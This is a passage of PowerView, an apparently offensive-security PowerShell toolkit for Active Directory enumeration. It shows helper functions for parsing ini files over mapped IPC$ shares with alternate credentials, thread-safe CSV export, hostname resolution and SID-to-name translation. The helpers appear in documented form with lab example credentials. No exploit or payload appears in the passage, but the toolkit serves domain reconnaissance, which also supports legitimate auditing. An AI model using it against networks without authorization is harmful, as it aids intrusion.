[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
|
|
[switch]$AllowNull,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
|
|
[switch]$AllowEmptyString,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
|
|
[switch]$AllowEmptyCollection,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
|
|
[switch]$ValidateNotNull,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
|
|
[switch]$ValidateNotNullOrEmpty,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
|
|
[ValidateCount(2,2)]
|
|
[int[]]$ValidateCount,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
|
|
[ValidateCount(2,2)]
|
|
[int[]]$ValidateRange,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
|
|
[ValidateCount(2,2)]
|
|
[int[]]$ValidateLength,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[string]$ValidatePattern,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[scriptblock]$ValidateScript,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[string[]]$ValidateSet,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[ValidateScript({
|
|
if(!($_ -is [System.Management.Automation.RuntimeDefinedParameterDictionary]))
|
|
{
|
|
Throw 'Dictionary must be a System.Management.Automation.RuntimeDefinedParameterDictionary object'
|
|
}
|
|
$true
|
|
})]
|
|
$Dictionary = $false,
|
|
|
|
[Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')]
|
|
[switch]$CreateVariables,
|
|
|
|
[Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[ValidateScript({
|
|
# System.Management.Automation.PSBoundParametersDictionary is an internal sealed class,
|
|
# so one can't use PowerShell's '-is' operator to validate type.
|
|
if($_.GetType().Name -notmatch 'Dictionary') {
|
|
Throw 'BoundParameters must be a System.Management.Automation.PSBoundParametersDictionary object'
|
|
}
|
|
$true
|
|
})]
|
|
$BoundParameters
|
|
)
|
|
|
|
Begin {
|
|
$InternalDictionary = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameterDictionary
|
|
function _temp { [CmdletBinding()] Param() }
|
|
$CommonParameters = (Get-Command _temp).Parameters.Keys
|
|
}
|
|
|
|
Process {
|
|
if($CreateVariables) {
|
|
$BoundKeys = $BoundParameters.Keys | Where-Object { $CommonParameters -notcontains $_ }
|
|
ForEach($Parameter in $BoundKeys) {
|
|
if ($Parameter) {
|
|
Set-Variable -Name $Parameter -Value $BoundParameters.$Parameter -Scope 1 -Force
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
$StaleKeys = @()
|
|
$StaleKeys = $PSBoundParameters.GetEnumerator() |
|
|
ForEach-Object {
|
|
if($_.Value.PSobject.Methods.Name -match '^Equals$') {
|
|
# If object has Equals, compare bound key and variable using it
|
|
if(!$_.Value.Equals((Get-Variable -Name $_.Key -ValueOnly -Scope 0))) {
|
|
$_.Key
|
|
}
|
|
}
|
|
else {
|
|
# If object doesn't has Equals (e.g. $null), fallback to the PowerShell's -ne operator
|
|
if($_.Value -ne (Get-Variable -Name $_.Key -ValueOnly -Scope 0)) {
|
|
$_.Key
|
|
}
|
|
}
|
|
}
|
|
if($StaleKeys) {
|
|
$StaleKeys | ForEach-Object {[void]$PSBoundParameters.Remove($_)}
|
|
}
|
|
|
|
# Since we rely solely on $PSBoundParameters, we don't have access to default values for unbound parameters
|
|
$UnboundParameters = (Get-Command -Name ($PSCmdlet.MyInvocation.InvocationName)).Parameters.GetEnumerator() |
|
|
# Find parameters that are belong to the current parameter set
|
|
Where-Object { $_.Value.ParameterSets.Keys -contains $PsCmdlet.ParameterSetName } |
|
|
Select-Object -ExpandProperty Key |
|
|
# Find unbound parameters in the current parameter set
|
|
Where-Object { $PSBoundParameters.Keys -notcontains $_ }
|
|
|
|
# Even if parameter is not bound, corresponding variable is created with parameter's default value (if specified)
|
|
$tmp = $null
|
|
ForEach ($Parameter in $UnboundParameters) {
|
|
$DefaultValue = Get-Variable -Name $Parameter -ValueOnly -Scope 0
|
|
if(!$PSBoundParameters.TryGetValue($Parameter, [ref]$tmp) -and $DefaultValue) {
|
|
$PSBoundParameters.$Parameter = $DefaultValue
|
|
}
|
|
}
|
|
|
|
if($Dictionary) {
|
|
$DPDictionary = $Dictionary
|
|
}
|
|
else {
|
|
$DPDictionary = $InternalDictionary
|
|
}
|
|
|
|
# Shortcut for getting local variables
|
|
$GetVar = {Get-Variable -Name $_ -ValueOnly -Scope 0}
|
|
|
|
# Strings to match attributes and validation arguments
|
|
$AttributeRegex = '^(Mandatory|Position|ParameterSetName|DontShow|HelpMessage|ValueFromPipeline|ValueFromPipelineByPropertyName|ValueFromRemainingArguments)$'
|
|
$ValidationRegex = '^(AllowNull|AllowEmptyString|AllowEmptyCollection|ValidateCount|ValidateLength|ValidatePattern|ValidateRange|ValidateScript|ValidateSet|ValidateNotNull|ValidateNotNullOrEmpty)$'
|
|
$AliasRegex = '^Alias$'
|
|
$ParameterAttribute = New-Object -TypeName System.Management.Automation.ParameterAttribute
|
|
|
|
switch -regex ($PSBoundParameters.Keys) {
|
|
$AttributeRegex {
|
|
Try {
|
|
$ParameterAttribute.$_ = . $GetVar
|
|
}
|
|
Catch {
|
|
$_
|
|
}
|
|
continue
|
|
}
|
|
}
|
|
|
|
if($DPDictionary.Keys -contains $Name) {
|
|
$DPDictionary.$Name.Attributes.Add($ParameterAttribute)
|
|
}
|
|
else {
|
|
$AttributeCollection = New-Object -TypeName Collections.ObjectModel.Collection[System.Attribute]
|
|
switch -regex ($PSBoundParameters.Keys) {
|
|
$ValidationRegex {
|
|
Try {
|
|
$ParameterOptions = New-Object -TypeName "System.Management.Automation.${_}Attribute" -ArgumentList (. $GetVar) -ErrorAction Stop
|
|
$AttributeCollection.Add($ParameterOptions)
|
|
}
|
|
Catch { $_ }
|
|
continue
|
|
}
|
|
$AliasRegex {
|
|
Try {
|
|
$ParameterAlias = New-Object -TypeName System.Management.Automation.AliasAttribute -ArgumentList (. $GetVar) -ErrorAction Stop
|
|
$AttributeCollection.Add($ParameterAlias)
|
|
continue
|
|
}
|
|
Catch { $_ }
|
|
}
|
|
}
|
|
$AttributeCollection.Add($ParameterAttribute)
|
|
$Parameter = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameter -ArgumentList @($Name, $Type, $AttributeCollection)
|
|
$DPDictionary.Add($Name, $Parameter)
|
|
}
|
|
}
|
|
}
|
|
|
|
End {
|
|
if(!$CreateVariables -and !$Dictionary) {
|
|
$DPDictionary
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-IniContent {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
This helper parses an .ini file into a hashtable.
|
|
|
|
Author: 'The Scripting Guys'
|
|
Modifications: @harmj0y (-Credential support)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection
|
|
|
|
.DESCRIPTION
|
|
|
|
Parses an .ini file into a hashtable. If -Credential is supplied,
|
|
then Add-RemoteConnection is used to map \\COMPUTERNAME\IPC$, the file
|
|
is parsed, and then the connection is destroyed with Remove-RemoteConnection.
|
|
|
|
.PARAMETER Path
|
|
|
|
Specifies the path to the .ini file to parse.
|
|
|
|
.PARAMETER OutputObject
|
|
|
|
Switch. Output a custom PSObject instead of a hashtable.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the remote system.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-IniContent C:\Windows\example.ini
|
|
|
|
.EXAMPLE
|
|
|
|
"C:\Windows\example.ini" | Get-IniContent -OutputObject
|
|
|
|
Outputs the .ini details as a proper nested PSObject.
|
|
|
|
.EXAMPLE
|
|
|
|
"C:\Windows\example.ini" | Get-IniContent
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-IniContent -Path \\PRIMARY.testlab.local\C$\Temp\GptTmpl.inf -Credential $Cred
|
|
|
|
.INPUTS
|
|
|
|
String
|
|
|
|
Accepts one or more .ini paths on the pipeline.
|
|
|
|
.OUTPUTS
|
|
|
|
Hashtable
|
|
|
|
Ouputs a hashtable representing the parsed .ini file.
|
|
|
|
.LINK
|
|
|
|
https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType([Hashtable])]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('FullName', 'Name')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$Path,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[Switch]
|
|
$OutputObject
|
|
)
|
|
|
|
BEGIN {
|
|
$MappedComputers = @{}
|
|
}
|
|
|
|
PROCESS {
|
|
ForEach ($TargetPath in $Path) {
|
|
if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
|
|
$HostComputer = (New-Object System.Uri($TargetPath)).Host
|
|
if (-not $MappedComputers[$HostComputer]) {
|
|
# map IPC$ to this computer if it's not already
|
|
Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
|
|
$MappedComputers[$HostComputer] = $True
|
|
}
|
|
}
|
|
|
|
if (Test-Path -Path $TargetPath) {
|
|
if ($PSBoundParameters['OutputObject']) {
|
|
$IniObject = New-Object PSObject
|
|
}
|
|
else {
|
|
$IniObject = @{}
|
|
}
|
|
Switch -Regex -File $TargetPath {
|
|
"^\[(.+)\]" # Section
|
|
{
|
|
$Section = $matches[1].Trim()
|
|
if ($PSBoundParameters['OutputObject']) {
|
|
$Section = $Section.Replace(' ', '')
|
|
$SectionObject = New-Object PSObject
|
|
$IniObject | Add-Member Noteproperty $Section $SectionObject
|
|
}
|
|
else {
|
|
$IniObject[$Section] = @{}
|
|
}
|
|
$CommentCount = 0
|
|
}
|
|
"^(;.*)$" # Comment
|
|
{
|
|
$Value = $matches[1].Trim()
|
|
$CommentCount = $CommentCount + 1
|
|
$Name = 'Comment' + $CommentCount
|
|
if ($PSBoundParameters['OutputObject']) {
|
|
$Name = $Name.Replace(' ', '')
|
|
$IniObject.$Section | Add-Member Noteproperty $Name $Value
|
|
}
|
|
else {
|
|
$IniObject[$Section][$Name] = $Value
|
|
}
|
|
}
|
|
"(.+?)\s*=(.*)" # Key
|
|
{
|
|
$Name, $Value = $matches[1..2]
|
|
$Name = $Name.Trim()
|
|
$Values = $Value.split(',') | ForEach-Object { $_.Trim() }
|
|
|
|
# if ($Values -isnot [System.Array]) { $Values = @($Values) }
|
|
|
|
if ($PSBoundParameters['OutputObject']) {
|
|
$Name = $Name.Replace(' ', '')
|
|
$IniObject.$Section | Add-Member Noteproperty $Name $Values
|
|
}
|
|
else {
|
|
$IniObject[$Section][$Name] = $Values
|
|
}
|
|
}
|
|
}
|
|
$IniObject
|
|
}
|
|
}
|
|
}
|
|
|
|
END {
|
|
# remove the IPC$ mappings
|
|
$MappedComputers.Keys | Remove-RemoteConnection
|
|
}
|
|
}
|
|
|
|
|
|
function Export-PowerViewCSV {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Converts objects into a series of comma-separated (CSV) strings and saves the
|
|
strings in a CSV file in a thread-safe manner.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
|
|
.DESCRIPTION
|
|
|
|
This helper exports an -InputObject to a .csv in a thread-safe manner
|
|
using a mutex. This is so the various multi-threaded functions in
|
|
PowerView has a thread-safe way to export output to the same file.
|
|
Uses .NET IO.FileStream/IO.StreamWriter objects for speed.
|
|
|
|
Originally based on Dmitry Sotnikov's Export-CSV code: http://poshcode.org/1590
|
|
|
|
.PARAMETER InputObject
|
|
|
|
Specifies the objects to export as CSV strings.
|
|
|
|
.PARAMETER Path
|
|
|
|
Specifies the path to the CSV output file.
|
|
|
|
.PARAMETER Delimiter
|
|
|
|
Specifies a delimiter to separate the property values. The default is a comma (,)
|
|
|
|
.PARAMETER Append
|
|
|
|
Indicates that this cmdlet adds the CSV output to the end of the specified file.
|
|
Without this parameter, Export-PowerViewCSV replaces the file contents without warning.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainUser | Export-PowerViewCSV -Path "users.csv"
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainUser | Export-PowerViewCSV -Path "users.csv" -Append -Delimiter '|'
|
|
|
|
.INPUTS
|
|
|
|
PSObject
|
|
|
|
Accepts one or more PSObjects on the pipeline.
|
|
|
|
.LINK
|
|
|
|
http://poshcode.org/1590
|
|
http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[System.Management.Automation.PSObject[]]
|
|
$InputObject,
|
|
|
|
[Parameter(Mandatory = $True, Position = 1)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Path,
|
|
|
|
[Parameter(Position = 2)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[Char]
|
|
$Delimiter = ',',
|
|
|
|
[Switch]
|
|
$Append
|
|
)
|
|
|
|
BEGIN {
|
|
$OutputPath = [IO.Path]::GetFullPath($PSBoundParameters['Path'])
|
|
$Exists = [System.IO.File]::Exists($OutputPath)
|
|
|
|
# mutex so threaded code doesn't stomp on the output file
|
|
$Mutex = New-Object System.Threading.Mutex $False,'CSVMutex'
|
|
$Null = $Mutex.WaitOne()
|
|
|
|
if ($PSBoundParameters['Append']) {
|
|
$FileMode = [System.IO.FileMode]::Append
|
|
}
|
|
else {
|
|
$FileMode = [System.IO.FileMode]::Create
|
|
$Exists = $False
|
|
}
|
|
|
|
$CSVStream = New-Object IO.FileStream($OutputPath, $FileMode, [System.IO.FileAccess]::Write, [IO.FileShare]::Read)
|
|
$CSVWriter = New-Object System.IO.StreamWriter($CSVStream)
|
|
$CSVWriter.AutoFlush = $True
|
|
}
|
|
|
|
PROCESS {
|
|
ForEach ($Entry in $InputObject) {
|
|
$ObjectCSV = ConvertTo-Csv -InputObject $Entry -Delimiter $Delimiter -NoTypeInformation
|
|
|
|
if (-not $Exists) {
|
|
# output the object field names as well
|
|
$ObjectCSV | ForEach-Object { $CSVWriter.WriteLine($_) }
|
|
$Exists = $True
|
|
}
|
|
else {
|
|
# only output object field data
|
|
$ObjectCSV[1..($ObjectCSV.Length-1)] | ForEach-Object { $CSVWriter.WriteLine($_) }
|
|
}
|
|
}
|
|
}
|
|
|
|
END {
|
|
$Mutex.ReleaseMutex()
|
|
$CSVWriter.Dispose()
|
|
$CSVStream.Dispose()
|
|
}
|
|
}
|
|
|
|
|
|
function Resolve-IPAddress {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Resolves a given hostename to its associated IPv4 address.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
|
|
.DESCRIPTION
|
|
|
|
Resolves a given hostename to its associated IPv4 address using
|
|
[Net.Dns]::GetHostEntry(). If no hostname is provided, the default
|
|
is the IP address of the localhost.
|
|
|
|
.EXAMPLE
|
|
|
|
Resolve-IPAddress -ComputerName SERVER
|
|
|
|
.EXAMPLE
|
|
|
|
@("SERVER1", "SERVER2") | Resolve-IPAddress
|
|
|
|
.INPUTS
|
|
|
|
String
|
|
|
|
Accepts one or more IP address strings on the pipeline.
|
|
|
|
.OUTPUTS
|
|
|
|
System.Management.Automation.PSCustomObject
|
|
|
|
A custom PSObject with the ComputerName and IPAddress.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('System.Management.Automation.PSCustomObject')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('HostName', 'dnshostname', 'name')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$ComputerName = $Env:COMPUTERNAME
|
|
)
|
|
|
|
PROCESS {
|
|
ForEach ($Computer in $ComputerName) {
|
|
try {
|
|
@(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object {
|
|
if ($_.AddressFamily -eq 'InterNetwork') {
|
|
$Out = New-Object PSObject
|
|
$Out | Add-Member Noteproperty 'ComputerName' $Computer
|
|
$Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString
|
|
$Out
|
|
}
|
|
}
|
|
}
|
|
catch {
|
|
Write-Verbose "[Resolve-IPAddress] Could not resolve $Computer to an IP Address."
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function ConvertTo-SID {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Converts a given user/group name to a security identifier (SID).
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Convert-ADName, Get-DomainObject, Get-Domain
|
|
|
|
.DESCRIPTION
|
|
|
|
Converts a "DOMAIN\username" syntax to a security identifier (SID)
|
|
using System.Security.Principal.NTAccount's translate function. If alternate
|
|
credentials are supplied, then Get-ADObject is used to try to map the name
|
|
to a security identifier.
|
|
|
|
.PARAMETER ObjectName
|
|
|
|
The user/group name to convert, can be 'user' or 'DOMAIN\user' format.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the translation, defaults to the current domain.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to for the translation.
|
|
|
|
.PARAMETER Credential
|
|
|
|
Specifies an alternate credential to use for the translation.
|
|
|
|
.EXAMPLE
|
|
|
|
ConvertTo-SID 'DEV\dfm'
|
|
|
|
.EXAMPLE
|
|
|
|
'DEV\dfm','DEV\krbtgt' | ConvertTo-SID
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
'TESTLAB\dfm' | ConvertTo-SID -Credential $Cred
|
|
|
|
.INPUTS
|
|
|
|
String
|
|
|
|
Accepts one or more username specification strings on the pipeline.
|
|
|
|
.OUTPUTS
|
|
|
|
String
|
|
|
|
A string representing the SID of the translated name.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType([String])]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('Name', 'Identity')]
|
|
[String[]]
|
|
$ObjectName,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
$DomainSearcherArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $DomainSearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Server']) { $DomainSearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['Credential']) { $DomainSearcherArguments['Credential'] = $Credential }
|
|
}
|
|
|
|
PROCESS {
|
|
ForEach ($Object in $ObjectName) {
|
|
$Object = $Object -Replace '/','\'
|
|
|
|
if ($PSBoundParameters['Credential']) {
|
|
$DN = Convert-ADName -Identity $Object -OutputType 'DN' @DomainSearcherArguments
|
|
if ($DN) {
|
|
$UserDomain = $DN.SubString($DN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
|
|
$UserName = $DN.Split(',')[0].split('=')[1]
|
|
|
|
$DomainSearcherArguments['Identity'] = $UserName
|
|
$DomainSearcherArguments['Domain'] = $UserDomain
|
|
$DomainSearcherArguments['Properties'] = 'objectsid'
|
|
Get-DomainObject @DomainSearcherArguments | Select-Object -Expand objectsid
|
|
}
|
|
}
|
|
else {
|
|
try {
|
|
if ($Object.Contains('\')) {
|
|
$Domain = $Object.Split('\')[0]
|
|
$Object = $Object.Split('\')[1]
|
|
}
|
|
elseif (-not $PSBoundParameters['Domain']) {
|
|
$DomainSearcherArguments = @{}
|
|
$Domain = (Get-Domain @DomainSearcherArguments).Name
|
|
}
|
|
|
|
$Obj = (New-Object System.Security.Principal.NTAccount($Domain, $Object))
|
|
$Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value
|
|
}
|
|
catch {
|
|
Write-Verbose "[ConvertTo-SID] Error converting $Domain\$Object : $_"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function ConvertFrom-SID {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Converts a security identifier (SID) to a group/user name.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Convert-ADName
|
|
|
|
.DESCRIPTION
|
|
|
|
Converts a security identifier string (SID) to a group/user name
|
|
using Convert-ADName.
|
|
|
|
.PARAMETER ObjectSid
|
|
|
|
Specifies one or more SIDs to convert.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the translation, defaults to the current domain.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to for the translation.
|
|
|
|
.PARAMETER Credential
|
|
|
|
Specifies an alternate credential to use for the translation.
|
|
|
|
.EXAMPLE
|
|
|
|
ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108
|
|
|
|
TESTLAB\harmj0y
|
|
|
|
.EXAMPLE
|
|
|
|
"S-1-5-21-890171859-3433809279-3366196753-1107", "S-1-5-21-890171859-3433809279-3366196753-1108", "S-1-5-32-562" | ConvertFrom-SID
|
|
|
|
TESTLAB\WINDOWS2$
|
|
TESTLAB\harmj0y
|
|
BUILTIN\Distributed COM Users
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
|
|
ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 -Credential $Cred
|
|
|
|
TESTLAB\harmj0y
|
|
|
|
.INPUTS
|
|
|
|
String
|
|
|
|
Accepts one or more SID strings on the pipeline.
|
|
|
|
.OUTPUTS
|
|
|
|
String
|
|
|
|
The converted DOMAIN\username.
|
|
#>
|
|
|
|
[OutputType([String])]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('SID')]
|
|
[ValidatePattern('^S-1-.*')]
|
|
[String[]]
|
|
$ObjectSid,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
$ADNameArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential }
|
|
}
|
|
|
|
PROCESS {
|
|
ForEach ($TargetSid in $ObjectSid) {
|
|
$TargetSid = $TargetSid.trim('*')
|
|
try {
|
|
# try to resolve any built-in SIDs first - https://support.microsoft.com/en-us/kb/243330
|
|
Switch ($TargetSid) {
|
|
'S-1-0' { 'Null Authority' }
|
|
'S-1-0-0' { 'Nobody' }
|
|
'S-1-1' { 'World Authority' }
|
|
'S-1-1-0' { 'Everyone' }
|
|
'S-1-2' { 'Local Authority' }
|
|
'S-1-2-0' { 'Local' }
|
|
'S-1-2-1' { 'Console Logon ' }
|
|
'S-1-3' { 'Creator Authority' }
|
|
'S-1-3-0' { 'Creator Owner' }
|
|
'S-1-3-1' { 'Creator Group' }
|
|
'S-1-3-2' { 'Creator Owner Server' }
|
|
'S-1-3-3' { 'Creator Group Server' }
|
|
'S-1-3-4' { 'Owner Rights' }
|
|
'S-1-4' { 'Non-unique Authority' }
|
|
'S-1-5' { 'NT Authority' }
|
|
'S-1-5-1' { 'Dialup' }
|
|
'S-1-5-2' { 'Network' }
|
|
'S-1-5-3' { 'Batch' }
|
|
'S-1-5-4' { 'Interactive' }
|
|
'S-1-5-6' { 'Service' }
|
|
'S-1-5-7' { 'Anonymous' }
|
|
'S-1-5-8' { 'Proxy' }
|
|
'S-1-5-9' { 'Enterprise Domain Controllers' }
|
|
'S-1-5-10' { 'Principal Self' }
|
|
'S-1-5-11' { 'Authenticated Users' }
|
|
'S-1-5-12' { 'Restricted Code' }
|
|
'S-1-5-13' { 'Terminal Server Users' }
|
|
'S-1-5-14' { 'Remote Interactive Logon' }
|
|
'S-1-5-15' { 'This Organization ' }
|
|
'S-1-5-17' { 'This Organization ' }
|
|
'S-1-5-18' { 'Local System' }
|
|
'S-1-5-19' { 'NT Authority' }
|
|
'S-1-5-20' { 'NT Authority' }
|
|
'S-1-5-80-0' { 'All Services ' }
|
|
'S-1-5-32-544' { 'BUILTIN\Administrators' }
|
|
'S-1-5-32-545' { 'BUILTIN\Users' }
|
|
'S-1-5-32-546' { 'BUILTIN\Guests' }
|
|
'S-1-5-32-547' { 'BUILTIN\Power Users' }
|
|
'S-1-5-32-548' { 'BUILTIN\Account Operators' }
|
|
'S-1-5-32-549' { 'BUILTIN\Server Operators' }
|
|
'S-1-5-32-550' { 'BUILTIN\Print Operators' }
|
|
'S-1-5-32-551' { 'BUILTIN\Backup Operators' }
|
|
'S-1-5-32-552' { 'BUILTIN\Replicators' }
|
|
'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' }
|
|
'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' }
|
|
'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' }
|
|
'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' }
|
|
'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' }
|
|
'S-1-5-32-559' { 'BUILTIN\Performance Log Users' }
|
|
'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' }
|
|
'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' }
|
|
'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' }
|
|
'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' }
|
|
'S-1-5-32-573' { 'BUILTIN\Event Log Readers' }
|
|
'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' }
|
|
'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' }
|
|
'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' }
|
|
'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' }
|
|
'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' }
|
|
'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' }
|
|
'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' }
|
|
Default {
|
|
Convert-ADName -Identity $TargetSid @ADNameArguments
|
|
}
|
|
}
|
|
}
|
|
catch {
|
|
Write-Verbose "[ConvertFrom-SID] Error converting SID '$TargetSid' : $_"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Convert-ADName {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Converts Active Directory object names between a variety of formats.
|
|
|
|
Author: Bill Stewart, Pasquale Lantella
|
|
Modifications: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
|
|
.DESCRIPTION
|
|
|
|
This function is heavily based on Bill Stewart's code and Pasquale Lantella's code (in LINK)
|
|
and translates Active Directory names between various formats using the NameTranslate COM object.
|
|
|
|
.PARAMETER Identity
|
|
|
|
